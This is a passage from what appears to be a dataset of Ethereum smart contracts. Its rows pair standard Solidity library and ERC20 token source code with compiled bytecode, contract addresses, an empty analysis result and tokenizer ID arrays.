require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
| 0x608060405234801561001057600080fd5b506004361061011b5760003560e01c8063718da7ee116100b2578063d85349f711610081578063f2fde38b11610066578063f2fde38b14610223578063f7260d3e14610256578063fc0c546a1461025e5761011b565b8063d85349f714610213578063e834a8341461021b5761011b565b8063718da7ee146101745780638da5cb5b146101a7578063af38d757146101d8578063cbf0b0c0146101e05761011b565b80634a4e5776116100ee5780634a4e5776146101525780634e71d92d1461015a5780635d1fbf5414610164578063715018a61461016c5761011b565b80631989488b146101205780631f2698ab1461013a578063460ad4391461014257806348a0d7541461014a575b600080fd5b610128610266565b60408051918252519081900360200190f35b61012861028a565b6101286102ae565b6101286102d2565b6101286102ee565b610162610312565b005b6101286103f9565b61016261041d565b6101626004803603602081101561018a57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610534565b6101af6106fa565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610128610716565b610162600480360360208110156101f657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661087b565b610128610aa1565b610128610ac5565b6101626004803603602081101561023957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610acb565b6101af610c6c565b6101af610c88565b7f000000000000000000000000000000000000000000031a17e847807b1bc0000081565b7f000000000000000000000000000000000000000000000000000000005fc6304081565b7f000000000000000000000000000000000000000000031a17e847807b1bc0000081565b60006102e86002546102e2610716565b90610cac565b90505b90565b7f0000000000000000000000000000000000000000000000000000000000f099c081565b60015473ffffffffffffffffffffffffffffffffffffffff16331461039857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f6163636573732064656e69656400000000000000000000000000000000000000604482015290519081900360640190fd5b60006103a26102d2565b6002549091506103b29082610d28565b6002556103f673ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000111111111117dc0aa78b770fa6a738034120c302163383610da3565b50565b7f000000000000000000000000000000000000000000000000000000000000000381565b610425610e35565b73ffffffffffffffffffffffffffffffffffffffff166104436106fa565b73ffffffffffffffffffffffffffffffffffffffff16146104c557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b61053c610e35565b73ffffffffffffffffffffffffffffffffffffffff1661055a6106fa565b73ffffffffffffffffffffffffffffffffffffffff16146105dc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811661065e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f5265636569766572206973207a65726f20616464726573730000000000000000604482015290519081900360640190fd5b6001546040805173ffffffffffffffffffffffffffffffffffffffff9283168152918316602083015280517fd36aafedb017e43b79d3cf6aa1987d3fbb9fff33e1738c71dbf6b2abaadbded09281900390910190a1600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60006107627f000000000000000000000000000000000000000000000000000000005fc630407f0000000000000000000000000000000000000000000000000000000001e13380610d28565b421015610771575060006102eb565b60006107c76107c07f000000000000000000000000000000000000000000000000000000005fc630407f0000000000000000000000000000000000000000000000000000000001e13380610d28565b4290610cac565b9050600061081e7f0000000000000000000000000000000000000000000000000000000000000003610819847f0000000000000000000000000000000000000000000000000000000000f099c0610e39565b610eba565b905061087461084d827f000000000000000000000000000000000000000000031a17e847807b1bc00000610ed0565b7f000000000000000000000000000000000000000000031a17e847807b1bc0000090610d28565b9250505090565b610883610e35565b73ffffffffffffffffffffffffffffffffffffffff166108a16106fa565b73ffffffffffffffffffffffffffffffffffffffff161461092357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166109a557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f5472616e7366657220746f207a65726f20616464726573730000000000000000604482015290519081900360640190fd5b60007f000000000000000000000000111111111117dc0aa78b770fa6a738034120c30273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a2e57600080fd5b505afa158015610a42573d6000803e3d6000fd5b505050506040513d6020811015610a5857600080fd5b50519050610a9d73ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000111111111117dc0aa78b770fa6a738034120c302168383610da3565b5050565b7f0000000000000000000000000000000000000000000000000000000001e1338081565b60025481565b610ad3610e35565b73ffffffffffffffffffffffffffffffffffffffff16610af16106fa565b73ffffffffffffffffffffffffffffffffffffffff1614610b7357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8116610bdf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806112b26026913960400191505060405180910390fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000111111111117dc0aa78b770fa6a738034120c30281565b600082821115610d1d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b508082035b92915050565b600082820183811015610d9c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052610e30908490610f43565b505050565b3390565b6000808211610ea957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381610eb257fe5b049392505050565b6000818310610ec95781610d9c565b5090919050565b600082610edf57506000610d22565b82820282848281610eec57fe5b0414610d9c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806112fe6021913960400191505060405180910390fd5b6060610fa5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661101b9092919063ffffffff16565b805190915015610e3057808060200190516020811015610fc457600080fd5b5051610e30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061131f602a913960400191505060405180910390fd5b606061102a8484600085611032565b949350505050565b60608247101561108d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806112d86026913960400191505060405180910390fd5b611096856111ed565b61110157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b6020831061116b57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0909201916020918201910161112e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146111cd576040519150601f19603f3d011682016040523d82523d6000602084013e6111d2565b606091505b50915091506111e28282866111f3565b979650505050505050565b3b151590565b60608315611202575081610d9c565b8251156112125782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561127657818101518382015260200161125e565b50505050905090810190601f1680156112a35780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220a40f644020bfc8dc61861fb194eb52b9e383b08f073f105dfc95c595e6b0531864736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
26976,
17788,
2620,
8586,
12521,
2683,
2683,
16409,
19961,
2278,
2692,
2475,
2546,
2509,
2278,
27009,
2575,
17134,
22907,
2620,
2278,
2546,
2575,
2278,
29097,
2692,
20952,
2549,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
8785,
1013,
8785,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
3647,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,584 | 0x9562ad1c03e14437feb34e8d4abf6f540267c9b7 | pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract GalaxyGold is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 8 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "GalaxyGold";
symbol = "GXG";
decimals = 8;
_totalSupply = 10000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | 0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a723058201017e8679581bfc5827f64575812ffd26f53debc1926fc5bad5d44a0e49a96990029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
26976,
2475,
4215,
2487,
2278,
2692,
2509,
2063,
16932,
23777,
2581,
7959,
2497,
22022,
2063,
2620,
2094,
2549,
7875,
2546,
2575,
2546,
27009,
2692,
23833,
2581,
2278,
2683,
2497,
2581,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
9413,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,585 | 0x9562ea70a6fdcb1bb26adbb1c2921708a8d8b9a6 | /**
*Submitted for verification at Etherscan.io on 2021-12-20
*/
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
